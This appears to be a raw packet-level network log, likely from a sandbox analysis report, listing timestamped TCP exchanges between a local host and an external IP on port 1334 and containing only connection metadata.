Sep 24, 2024 22:31:13.892019033 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892035007 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892043114 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892102003 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892110109 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892144918 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892153025 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892282009 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892290115 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892337084 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892344952 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892349958 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892357111 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892375946 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892386913 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892534971 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.892543077 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.935556889 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:14.972140074 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:14.977564096 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:14.982392073 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:14.983521938 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:14.985560894 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:14.990338087 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.022331953 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.335199118 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.459026098 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.459214926 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.459316015 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.459705114 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.459770918 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.459780931 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.459791899 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.459830999 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.459851027 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.459867001 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.459908962 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.459932089 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.459940910 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.459990978 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.460009098 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.460019112 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.460069895 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.464322090 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464329004 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464335918 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464344025 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464392900 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.464584112 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464699984 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464708090 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464759111 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.464790106 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464797974 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464838028 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.464850903 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.464900970 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464984894 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.464993954 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.465045929 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.465065002 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.465101957 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.469204903 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469351053 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469361067 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469415903 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469435930 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.469480991 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.469675064 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469691038 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469726086 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469742060 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469754934 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.469775915 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469798088 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469809055 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.469819069 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.469847918 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.469866991 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469894886 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469902992 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469923019 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469930887 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.469963074 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.469997883 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470006943 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470009089 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470014095 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.470060110 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.470072985 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470081091 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470104933 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470112085 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470122099 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.470156908 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470165014 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470180988 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.470227003 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.470238924 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470247030 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470284939 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470293999 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.470300913 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.470350027 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474275112 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474409103 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474431992 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474467993 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474477053 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474498987 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474518061 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474539042 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474549055 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474602938 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474620104 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474627972 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474631071 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474633932 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474680901 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474689007 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474704027 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474733114 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474740982 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474757910 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474766016 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474772930 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474801064 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474812984 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474828959 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474845886 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474864960 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474874020 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474910021 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474921942 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474932909 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474941969 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474946022 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.474983931 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.474992990 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475008965 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475023031 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475029945 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475044966 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475054026 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475084066 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475106955 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475122929 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475131989 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475138903 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475151062 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475166082 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475176096 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475183964 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475193024 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475209951 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475220919 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475230932 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475258112 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475282907 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475306988 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475315094 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475320101 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475363970 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475374937 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475394011 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475414991 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475423098 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475435019 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475445986 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475466013 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475486994 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475516081 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475524902 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475549936 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475559950 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475578070 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475583076 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475594044 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475624084 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475631952 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475667953 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475686073 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475702047 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475712061 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475720882 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475737095 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475749016 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475783110 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475790977 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475797892 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475800037 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475809097 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475827932 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475836992 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475852966 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475866079 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475873947 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475891113 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475898981 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475909948 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.475949049 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.475977898 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479337931 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479374886 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479388952 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479408979 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479418039 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479428053 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479441881 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479489088 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479496002 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479502916 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479506016 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479536057 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479571104 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479585886 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479593992 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479600906 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479608059 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479645014 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479656935 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479674101 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479691029 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479712963 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479723930 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479732990 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479736090 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479748964 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479758024 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479762077 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479773045 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479813099 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479837894 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479846954 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479856968 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479872942 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479881048 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479895115 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479902029 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479917049 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.479940891 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.479969978 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480010986 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480036974 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480046988 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480071068 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480079889 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480093002 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480137110 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480149984 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480168104 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480178118 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480186939 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480227947 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480236053 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480247974 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480278969 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480298042 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480361938 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480403900 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480456114 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480463982 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480470896 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480484009 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480500937 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480514050 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480525970 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480536938 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480547905 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480554104 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480580091 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480587959 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480602980 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480612040 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480628967 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480655909 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480676889 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480684996 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480715990 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480730057 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480791092 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480799913 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480807066 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480814934 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480839014 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480854034 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480865002 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480874062 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480891943 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480901003 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480926037 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480936050 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480952024 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.480962038 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480973005 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.480981112 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481014013 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481029034 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481040955 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481067896 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481076956 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481080055 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481108904 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481132984 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481148005 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481156111 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481163025 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481184006 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481206894 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481235981 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481255054 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481265068 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481319904 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481343031 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481353045 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481360912 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481376886 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481400013 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481410980 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481416941 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481448889 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481456995 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481494904 CEST	49733	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:15.481523037 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481529951 CEST	1334	49733	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:15.481576920 CEST	49733	1334	192.168.2.4	91.92.251.170
